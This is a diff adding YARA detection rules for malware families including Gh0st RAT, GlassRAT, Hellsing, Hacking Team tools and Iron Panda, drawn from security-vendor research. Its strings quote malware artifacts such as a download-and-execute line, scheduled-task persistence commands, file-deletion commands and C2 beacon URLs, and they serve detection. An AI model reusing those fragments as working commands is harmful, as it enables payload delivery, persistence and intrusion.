+		$s1 = "FqkVpTvBwTrhPFjfFF6ZQRK44hHl26" fullword ascii
+
+		$op0 = { e0 b3 42 00 c7 84 24 ac } /* Opcode */
+		$op1 = { a1 e0 79 44 00 56 ff 90 10 01 00 00 a1 e0 79 44 } /* Opcode */
+		$op2 = { bf d0 25 44 00 57 89 4d f0 ff 90 d4 02 00 00 59 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and $s1 or all of ($op*)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-16
+	Identifier: Furtim Parent
+*/
+
+rule Furtim_Parent_1 {
+	meta:
+		description = "Detects Furtim Parent Malware"
+		author = "Florian Roth"
+		reference = "https://sentinelone.com/blogs/sfg-furtims-parent/"
+		date = "2016-07-16"
+		hash1 = "766e49811c0bb7cce217e72e73a6aa866c15de0ba11d7dda3bd7e9ec33ed6963"
+	strings:
+		/* RC4 encryption password */
+		$x1 = "dqrChZonUF" fullword ascii
+		/* Other strings */
+		$s1 = "Egistec" fullword wide
+		$s2 = "Copyright (C) 2016" fullword wide
+		/* Op Code */
+		$op1 = { c0 ea 02 88 55 f8 8a d1 80 e2 03 }
+		$op2 = { 5d fe 88 55 f9 8a d0 80 e2 0f c0 }
+		$op3 = { c4 0c 8a d9 c0 eb 02 80 e1 03 88 5d f8 8a d8 c0 }
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 900KB and
+		( $x1 or ( all of ($s*) and all of ($op*) ) ) ) or
+		all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-23
+	Identifier: Ghost Dragon Gh0st RAT
+*/
+
+rule GhostDragon_Gh0stRAT {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197"
+		hash2 = "99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2"
+		hash3 = "6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df"
+		hash4 = "b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5"
+	strings:
+		$x1 = "REG ADD HKEY_LOCAL_MACHINE\\%s /v ServiceDll /t REG_EXPAND_SZ /d \"%s\"" fullword ascii
+		$x2 = "Global\\REALCHEL_GLOBAL_SUBMIT_20031020_" fullword ascii
+		$x3 = "\\xclolg2.tmp" fullword ascii
+		$x4 = "Http/1.1 403 Forbidden" fullword ascii
+		$x5 = "%sxsd%d.pif" fullword ascii
+		$x6 = "%s\\%s32.dl_" fullword ascii
+		$x7 = "%-23s %-16s  0x%x(%02d)" fullword ascii
+		$x8 = "RegSetValueEx(start)" fullword ascii
+		$x9 = "%s\\%s64.dl_" fullword ascii
+		$x10 = "$#REGMASTERKEY$WebCat was successfully started" fullword wide
+
+		$s1 = "viewsc.dll" fullword ascii
+		$s2 = "Proxy-Connection:   Keep-Alive" fullword ascii
+		$s3 = "\\sfc_os.dll" fullword ascii
+		$s4 = "Mozilla/4.0 (compatible)" fullword ascii
+		$s5 = "Http/1.1 403 Forbidden" fullword ascii
+		$s6 = "CONNECT   %s:%d   HTTP/1.1" fullword ascii
+		$s7 = "WindowsUpperVersion" fullword ascii
+		$s8 = "[%d-%d-%d %d:%d:%d] (%s)" fullword ascii
+		$s9 = "SOFTWARE\\Microsoft\\DataAccess\\%s" fullword ascii
+		$s10 = "%s sp%d(%d)" fullword ascii
+		$s11 = "OpenSC ERROR " fullword ascii
+		$s12 = "get rgspath error " fullword ascii
+		$s13 = "Global\\GLOBAL_SUBMIT_0234_" fullword ascii
+		$s14 = "Global\\_vc_ck_ %d" fullword ascii
+	condition:
+		(
+			uint16(0) == 0x5a4d and filesize < 500KB
+			and (
+				1 of ($x*) or 4 of ($s*)
+			)
+		) or ( 6 of them )
+}
+
+rule GhostDragon_Gh0stRAT_Sample2 {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97"
+	strings:
+		$x1 = "AdobeWpk" fullword ascii
+		$x2 = "seekin.dll" fullword ascii
+
+		$c1 = "Windows NT 6.1; Trident/6.0)" fullword ascii
+		$c2 = "Mozilla/5.0 (compatible; MSIE 10.0; " fullword ascii
+	condition:
+		(
+			uint16(0) == 0x5a4d and filesize < 80KB and (
+				all of ($x*) or all of ($c*)
+			)
+		) or ( all of them )
+}
+
+rule GhostDragon_Gh0stRAT_Sample3 {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		author = "Florian Roth"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42"
+	strings:
+		$op1 = { 44 24 15 65 88 54 24 16 c6 44 24 }
+		$op2 = { 44 24 1b 43 c6 44 24 1c 75 88 54 24 1e }
+		$op3 = { 1e 79 c6 44 24 1f 43 c6 44 24 20 75 88 54 24 22 }
+	condition:
+		all of them
+}
+/*
+	Yara Rule Set
+	Author: RSA RESEARCH, Florian Roth
+	Date: 2015-11-23
+	Identifier: GlassRAT
+*/
+
+rule glassRAT
+{
+	meta:
+		author = "RSA RESEARCH"
+		date = "3 Nov 2015"
+      description = "Detects GlassRAT by RSA (modified by Florian Roth - speed improvements)"
+		Info = "GlassRat"
+		/* MD5s
+			37adc72339a0c2c755e7fef346906330
+			59b404076e1af7d0faae4a62fa41b69f
+			5c17395731ec666ad0056d3c88e99c4d
+			e98027f502f5acbcb5eda17e67a21cdc
+			87a965cf75b2da112aea737220f2b5c2
+			22e01495b4419b564d5254d2122068d9
+			42b57c0c4977a890ecb0ea9449516075
+			b7f2020208ebd137616dadb60700b847	*/
+	strings:
+		$bin1 = {85 C0 B3 01} 		/* 	test    eax, eax
+										  mov     bl, 1 */
+		// $bin2 = {34 02}				// xor     al, 2 ---> XOR key for rundll32.exe
+		$bin3 = {68 4C 50 00 10}	// push    offset KeyName  ; "2"
+		$bin4 = {68 48 50 00 10}	// push    offset a3       ; "3"
+		$bin5 = {68 44 50 00 10}	// push    offset a4       ; "4"
+		$hs = {CB FF 5D C9 AD 3F 5B A1 54 13 FE FB 05 C6 22}  // Initial Handshake ---> can be added or removed for hunting for different variants
+		//$re1  = {50 00 00 00}
+		//$re2  = {BB 01 00 00}
+		// Dwords of C2 Ports (80 | 443 | 53) 2 -3 times
+		$s1 = "pwlfnn10,gzg" // rundll32.exe XOR 02
+		$s2 = "AddNum"
+		$s3 = "ServiceMain"
+		$s4 = "The Window"
+		$s5 = "off.dat"
+	condition:
+		all of ($bin*) and $hs and 3 of ($s*) //The conditions can be adjusted for hunting for different variants
+}
+
+rule GlassRAT_Generic {
+	meta:
+		description = "Detects GlassRAT Malware"
+		author = "Florian Roth"
+		reference = "https://blogs.rsa.com/peering-into-glassrat/"
+		date = "2015-11-23"
+		score = 80
+		hash1 = "30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399"
+		hash2 = "3bdeb3805e9230361fb93c6ffb0bfec8d3aee9455d95b2428c7f6292d387d3a4"
+		hash3 = "79993f1912958078c4d98503e00dc526eb1d0ca4d020d17b010efa6c515ca92e"
+		hash4 = "a9b30b928ebf9cda5136ee37053fa045f3a53d0706dcb2343c91013193de761e"
+		hash5 = "c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb"
+		hash6 = "d95fa58a81ab2d90a8cbe05165c00f9c8ad5b4f49e98df2ad391f5586893490d"
+		hash7 = "f1209eb95ce1319af61f371c7f27bf6846eb90f8fd19e8d84110ebaf4744b6ea"
+	strings:
+		$s1 = "cmd.exe /c %s" fullword ascii
+		$s2 = "update.dll" fullword ascii
+		$s3 = "SYSTEM\\CurrentControlSet\\Services\\RasAuto\\Parameters" fullword ascii
+		$s4 = "%%temp%%\\%u" fullword ascii
+		$s5 = "\\off.dat" fullword ascii
+		$s6 = "rundll32 \"%s\",AddNum" fullword ascii
+		$s7 = "cmd.exe /c erase /F \"%s\"" fullword ascii
+		$s8 = "SYSTEM\\ControlSet00%d\\Services\\RasAuto" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 15MB and 5 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-07
+	Identifier: HackingTeam
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule bin_ndisk {
+	meta:
+		description = "Hacking Team Disclosure Sample - file ndisk.sys"
+		author = "Florian Roth"
+		reference = "https://www.virustotal.com/en/file/a03a6ed90b89945a992a8c69f716ec3c743fa1d958426f4c50378cca5bef0a01/analysis/1436184181/"
+		date = "2015-07-07"
+		score = 100
+		hash = "cf5089752ba51ae827971272a5b761a4ab0acd84"
+	strings:
+		$s1 = "\\Registry\\Machine\\System\\ControlSet00%d\\services\\ndisk.sys" fullword wide 
+		$s2 = "\\Registry\\Machine\\System\\ControlSet00%d\\Enum\\Root\\LEGACY_NDISK.SYS" fullword wide 
+		$s3 = "\\Driver\\DeepFrz" fullword wide
+		$s4 = "Microsoft Kernel Disk Manager" fullword wide 
+		$s5 = "ndisk.sys" fullword wide
+		$s6 = "\\Device\\MSH4DEV1" fullword wide
+		$s7 = "\\DosDevices\\MSH4DEV1" fullword wide
+		$s8 = "built by: WinDDK" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 6 of them
+}
+
+rule Hackingteam_Elevator_DLL {
+	meta:
+		description = "Hacking Team Disclosure Sample - file elevator.dll"
+		author = "Florian Roth"
+		reference = "http://t.co/EG0qtVcKLh"
+		date = "2015-07-07"
+		score = 70
+		hash = "b7ec5d36ca702cc9690ac7279fd4fea28d8bd060"
+	strings:
+		$s1 = "\\sysnative\\CI.dll" fullword ascii 
+		$s2 = "setx TOR_CONTROL_PASSWORD" fullword ascii 
+		$s3 = "mitmproxy0" fullword ascii 
+		$s4 = "\\insert_cert.exe" fullword ascii
+		$s5 = "elevator.dll" fullword ascii
+		$s6 = "CRTDLL.DLL" fullword ascii
+		$s7 = "fail adding cert" fullword ascii
+		$s8 = "DownloadingFile" fullword ascii 
+		$s9 = "fail adding cert: %s" fullword ascii
+		$s10 = "InternetOpenA fail" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 6 of them
+}
+
+rule HackingTeam_Elevator_EXE {
+	meta:
+		description = "Hacking Team Disclosure Sample - file elevator.exe"
+		author = "Florian Roth"
+		reference = "Hacking Team Disclosure elevator.c"
+		date = "2015-07-07"
+		score = 70
+		hash1 = "40a10420b9d49f87527bc0396b19ec29e55e9109e80b52456891243791671c1c"
+		hash2 = "92aec56a859679917dffa44bd4ffeb5a8b2ee2894c689abbbcbe07842ec56b8d"
+		hash = "9261693b67b6e379ad0e57598602712b8508998c0cb012ca23139212ae0009a1"
+	strings:
+		$x1 = "CRTDLL.DLL" fullword ascii
+		$x2 = "\\sysnative\\CI.dll" fullword ascii
+		$x3 = "\\SystemRoot\\system32\\CI.dll" fullword ascii
+		$x4 = "C:\\\\Windows\\\\Sysnative\\\\ntoskrnl.exe" fullword ascii /* PEStudio Blacklist: strings */
+
+		$s1 = "[*] traversing processes" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "_getkprocess" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[*] LoaderConfig %p" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "loader.obj" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii /* PEStudio Blacklist: strings */
+		$s6 = "[*] token restore" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "elevator.obj" fullword ascii
+		$s8 = "_getexport" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of ($x*) and 3 of ($s*)
+}
+
+
+
+rule apt_hellsing_implantstrings { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab" 
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing implants"
+	strings: 
+		$mz = "MZ"
+		$a1 = "the file uploaded failed !"
+		$a2 = "ping 127.0.0.1"
+		$b1 = "the file downloaded failed !"
+		$b2 = "common.asp"
+		$c = "xweber_server.exe" 
+		$d = "action="
+		$debugpath1 = "d:\\Hellsing\\release\\msger\\" nocase 
+		$debugpath2 = "d:\\hellsing\\sys\\xrat\\" nocase 
+		$debugpath3 = "D:\\Hellsing\\release\\exe\\" nocase 
+		$debugpath4 = "d:\\hellsing\\sys\\xkat\\" nocase 
+		$debugpath5 = "e:\\Hellsing\\release\\clare" nocase 
+		$debugpath6 = "e:\\Hellsing\\release\\irene\\" nocase 
+		$debugpath7 = "d:\\hellsing\\sys\\irene\\" nocase
+		$e = "msger_server.dll" 
+		$f = "ServiceMain"
+	condition:
+		($mz at 0) and (all of ($a*)) or (all of ($b*)) or ($c and $d) or (any of ($debugpath*)) or ($e and $f) and filesize < 500000
+}
+
+rule apt_hellsing_installer { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xweber/msger installers"
+	strings: 
+		$mz = "MZ"
+		$cmd = "cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
+		$a1 = "xweber_install_uac.exe"
+		$a2 = "system32\\cmd.exe" wide
+		$a4 = "S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
+		$a5 = "S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg=" 
+		$a6 = "7dqm2ODf5N/Y2N/m6+br3dnZpunl44g=" $a7="vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
+		$a8 = "vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSINjl2tyI"
+		$a9 = "C:\\Windows\\System32\\sysprep\\sysprep.exe" wide 
+		$a10 = "%SystemRoot%\\system32\\cmd.exe" wide 
+		$a11 = "msger_install.dll"
+		$a12 = {00 65 78 2E 64 6C 6C 00}
+	condition:
+		($mz at 0) and ($cmd and (2 of ($a*))) and filesize < 500000
+}
+
+rule apt_hellsing_proxytool { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing proxy testing tool"
+	strings: 
+		$mz = "MZ"
+		$a1 = "PROXY_INFO: automatic proxy url => %s"
+		$a2 = "PROXY_INFO: connection type => %d"
+		$a3 = "PROXY_INFO: proxy server => %s"
+		$a4 = "PROXY_INFO: bypass list => %s"
+		$a5 = "InternetQueryOption failed with GetLastError() %d"
+		$a6 = "D:\\Hellsing\\release\\exe\\exe\\" nocase
+	condition:
+		($mz at 0) and (2 of ($a*)) and filesize < 300000
+}
+
+rule apt_hellsing_xkat { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab" copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing xKat tool"
+	strings: 
+		$mz = "MZ"
+		$a1 = "\\Dbgv.sys" $a2="XKAT_BIN" $a3="release sys file error."
+		$a4 = "driver_load error. "
+		$a5 = "driver_create error."
+		$a6 = "delete file:%s error." 
+		$a7 = "delete file:%s ok."
+		$a8 = "kill pid:%d error."
+		$a9 = "kill pid:%d ok."
+		$a10 = "-pid-delete"
+		$a11 = "kill and delete pid:%d error."
+		$a12 = "kill and delete pid:%d ok."
+	condition:
+		($mz at 0) and (6 of ($a*)) and filesize < 300000
+}
+
+rule apt_hellsing_msgertype2 { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger type 2 implants"
+	strings: 
+		$mz = "MZ"
+		$a1 = "%s\\system\\%d.txt"
+		$a2 = "_msger" 
+		$a3 = "http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
+		$a4 = "http://%s/data/%s.1000001000" 
+		$a5 = "/lib/common.asp?action=user_upload&file="
+		$a6 = "%02X-%02X-%02X-%02X-%02X-%02X"
+	condition:
+		($mz at 0) and (4 of ($a*)) and filesize < 500000
+}
+
+rule apt_hellsing_irene { 
+	meta:
+		version = "1.0"
+		filetype = "PE"
+		author = "Costin Raiu, Kaspersky Lab"
+		copyright = "Kaspersky Lab"
+		date = "2015-04-07"
+		description = "detection for Hellsing msger irene installer"
+	strings: 
+		$mz = "MZ"
+		$a1 = "\\Drivers\\usbmgr.tmp" wide
+		$a2 = "\\Drivers\\usbmgr.sys" wide
+		$a3 = "common_loadDriver CreateFile error!"
+		$a4 = "common_loadDriver StartService error && GetLastError():%d!"
+		$a5 = "irene" wide
+		$a6 = "aPLib v0.43 - the smaller the better" 
+	condition:
+		($mz at 0) and (4 of ($a*)) and filesize < 500000
+}
+rule apt_win32_dll_rat_hiZorRAT
+{
+	meta:
+      dexcription = "Detects hiZor RAT"
+		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+		hash2 = "d9821468315ccd3b9ea03161566ef18e"
+		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
+      ref1 = "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html"
+      reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+	strings:
+		// Part of the encoded User-Agent = Mozilla
+		$s1 = { c7 [5] 40 00 62 00 c7 [5] 77 00 64 00 c7 [5] 61 00 61 00 c7 [5] 6c 00 }
+
+		// XOR to decode User-Agent after string stacking 0x10001630
+		$s2 = { 66 [7] 0d 40 83 ?? ?? 7c ?? }
+
+		// XOR with 0x2E - 0x10002EF6
+		$s3 = { 80 [2] 2e 40 3b ?? 72 ?? }
+
+		$s4 = "CmdProcessExited" wide ascii
+		$s5 = "rootDir" wide ascii
+		$s6 = "DllRegisterServer" wide ascii
+		$s7 = "GetNativeSystemInfo" wide ascii
+		$s8 = "%08x%08x%08x%08x" wide ascii
+	condition:
+		(uint16(0) == 0x5A4D or uint32(0) == 0x4464c457f) and (all of them)
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-01
+	Identifier: Indetectables RAT
+*/
+
+rule Indetectables_RAT {
+	meta:
+		description = "Detects Indetectables RAT based on strings found in research by Paul Rascagneres & Ronan Mouchoux"
+		author = "Florian Roth"
+		reference = "http://www.sekoia.fr/blog/when-a-brazilian-string-smells-bad/"
+		date = "2015-10-01"
+		super_rule = 1
+		hash1 = "081905074c19d5e32fd41a24b4c512d8fd9d2c3a8b7382009e3ab920728c7105"
+		hash2 = "66306c2a55a3c17b350afaba76db7e91bfc835c0e90a42aa4cf59e4179b80229"
+		hash3 = "1fa810018f6dd169e46a62a4f77ae076f93a853bfc33c7cf96266772535f6801"
+	strings:
+		$s1 = "Coded By M3" fullword wide
+		$s2 = "Stub Undetector M3" fullword wide
+		$s3 = "www.webmenegatti.com.br" wide
+		$s4 = "M3n3gatt1" fullword wide
+		$s5 = "TheMisterFUD" fullword wide
+		$s6 = "KillZoneKillZoneKill" fullword ascii
+		$s7 = "[[__M3_F_U_D_M3__]]$" fullword ascii
+		$s8 = "M3_F_U_D_M3" ascii
+		$s9 = "M3n3gatt1hack3r" fullword wide
+		$s10 = "M3n3gatt1hack3r" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 1 of them
+}
+
+rule BergSilva_Malware {
+	meta:
+		description = "Detects a malware from the same author as the Indetectables RAT"
+		author = "Florian Roth"
+		date = "2015-10-01"
+		super_rule = 1
+		hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
+		hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
+	strings:
+		$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
+		$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide
+
+		$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
+		$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
+		$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
+		$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
+		$s5 = "https://dl.dropbox.com/u/105015858" wide
+	condition:
+		uint16(0) == 0x5a4d and ( 1 of ($x*) or 2 of ($s*) )
+}
+rule apt_win32_dll_rat_1a53b0cp32e46g0qio7
+{
+	meta:
+		description = "Detects Inocnation Malware"
+		author = "Fidelis Cybersecurity"
+		score = 75
+		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+		hash2 = "d9821468315ccd3b9ea03161566ef18e"
+		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
+		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+	strings:
+		// Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0;rv:11.0) like Gecko
+		$s1 = { c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00 } // offset 10001566
+		// Software\Microsoft\Windows\CurrentVersion\Run
+		$s2 = { c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00 } // 10003D09
+		$s3 = { 66 [4-7] 0d 40 83 f8 44 7c ?? }
+		// xor		word ptr [ebp+eax*2+var_5C], 14h
+		// inc		eax
+		// cmp     	eax, 14h
+		// Loop to decode a static string. It reveals the "1a53b0cp32e46g0qio9" static string sent in the beacon
+		$s4 = { 66 [4-7] 14 40 83 f8 14 7c ?? } // 100017F0
+		$s5 = { 66 [4-7] 56 40 83 f8 2d 7c ?? } // 10003621
+		$s6 = { 66 [4-7] 20 40 83 f8 1a 7c ?? } // 10003640
+		$s7 = { 80 [2-7] 2e 40 3d 50 02 00 00 72 ?? } //  10003930
+		$s8 = "%08x%08x%08x%08x" wide ascii
+		$s9 = "WinHttpGetIEProxyConfigForCurrentUser" wide ascii
+	condition:
+		(uint16(0) == 0x5A4D or uint32(0) == 0x4464c457f) and (all of them)
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-04
+	Identifier: IronGate (FireEye)
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IronGate_APT_Step7ProSim_Gen {
+	meta:
+		description = "Detects IronGate APT Malware - Step7ProSim DLL"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 90
+		hash1 = "0539af1a0cc7f231af8f135920a990321529479f6534c3b64e571d490e1514c3"
+		hash2 = "fa8400422f3161206814590768fc1a27cf6420fc5d322d52e82899ac9f49e14f"
+		hash3 = "5ab1672b15de9bda84298e0bb226265af09b70a9f0b26d6dfb7bdd6cbaed192d"
+	strings:
+		$x1 = "\\obj\\Release\\Step7ProSim.pdb" ascii
+
+		$s1 = "Step7ProSim.Interfaces" fullword ascii
+		$s2 = "payloadExecutionTimeInMilliSeconds" fullword ascii
+		$s3 = "PackagingModule.Step7ProSim.dll" fullword wide
+		$s4 = "<KillProcess>b__0" fullword ascii
+		$s5 = "newDllFilename" fullword ascii
+		$s6 = "PackagingModule.exe" fullword wide
+		$s7 = "$863d8af0-cee6-4676-96ad-13e8540f4d47" fullword ascii
+		$s8 = "RunPlcSim" fullword ascii
+		$s9 = "$ccc64bc5-ef95-4217-adc4-5bf0d448c272" fullword ascii
+		$s10 = "InstallProxy" fullword ascii
+		$s11 = "DllProxyInstaller" fullword ascii
+		$s12 = "FindFileInDrive" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and ( $x1 or 3 of ($s*) ) )
+		or ( 6 of them )
+}
+
+rule IronGate_PyInstaller_update_EXE {
+	meta:
+		description = "Detects a PyInstaller file named update.exe as mentioned in the IronGate APT"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 60
+		hash1 = "2044712ceb99972d025716f0f16aa039550e22a63000d2885f7b7cd50f6834e0"
+	strings:
+		$s1 = "bpython27.dll" fullword ascii
+		$s5 = "%s%s.exe" fullword ascii
+		$s6 = "bupdate.exe.manifest" fullword ascii
+		$s9 = "bunicodedata.pyd" fullword ascii
+		$s11 = "distutils.sysconfig(" fullword ascii
+		$s16 = "distutils.debug(" fullword ascii
+		$s18 = "supdate" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+/* Additional Rules --------------------------------------------------------- */
+/* Other tools used in the APT ---------------------------------------------- */
+
+rule Nirsoft_NetResView {
+	meta:
+		description = "Detects NirSoft NetResView - utility that displays the list of all network resources"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 40
+		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
+	strings:
+		$s1 = "NetResView.exe" fullword wide
+		$s2 = "2005 - 2013 Nir Sofer" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+/* These only work with external variable "filename" ------------------------ */
+/* as used in LOKI, THOR, SPARK --------------------------------------------- */
+
+rule SysInterals_PipeList_NameChanged {
+	meta:
+		description = "Detects NirSoft PipeList"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Mr6M2J"
+		date = "2016-06-04"
+		score = 90
+		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
+	strings:
+		$s1 = "PipeList" ascii fullword
+		$s2 = "Sysinternals License" ascii fullword
+	condition:
+		uint16(0) == 0x5a4d and filesize < 170KB and all of them
+		and not filename == "pipelist.exe"
+		and not filename == "PipeList.exe"
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-16
+	Identifier: Iron Panda
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IronPanda_DNSTunClient {
+	meta:
+		description = "Iron Panda malware DnsTunClient - file named.exe"
+		author = "Florian Roth"
+		reference = "https://goo.gl/E4qia9"
+		date = "2015-09-16"
+		score = 80
+		hash = "a08db49e198068709b7e52f16d00a10d72b4d26562c0d82b4544f8b0fb259431"
+	strings:
+		$s1 = "dnstunclient -d or -domain <domain>" fullword ascii
+		$s2 = "dnstunclient -ip <server ip address>" fullword ascii
+		$s3 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"\\Microsoft\\Windows\\PLA\\System\\Microsoft Windows\" /tr " fullword ascii
+		$s4 = "C:\\Windows\\System32\\cmd.exe /C schtasks /create /tn \"Microsoft Windows\" /tr " fullword ascii
+		$s5 = "taskkill /im conime.exe" fullword ascii
+		$s6 = "\\dns control\\t-DNSTunnel\\DnsTunClient\\DnsTunClient.cpp" fullword ascii
+		$s7 = "UDP error:can not bing the port(if there is unclosed the bind process?)" fullword ascii
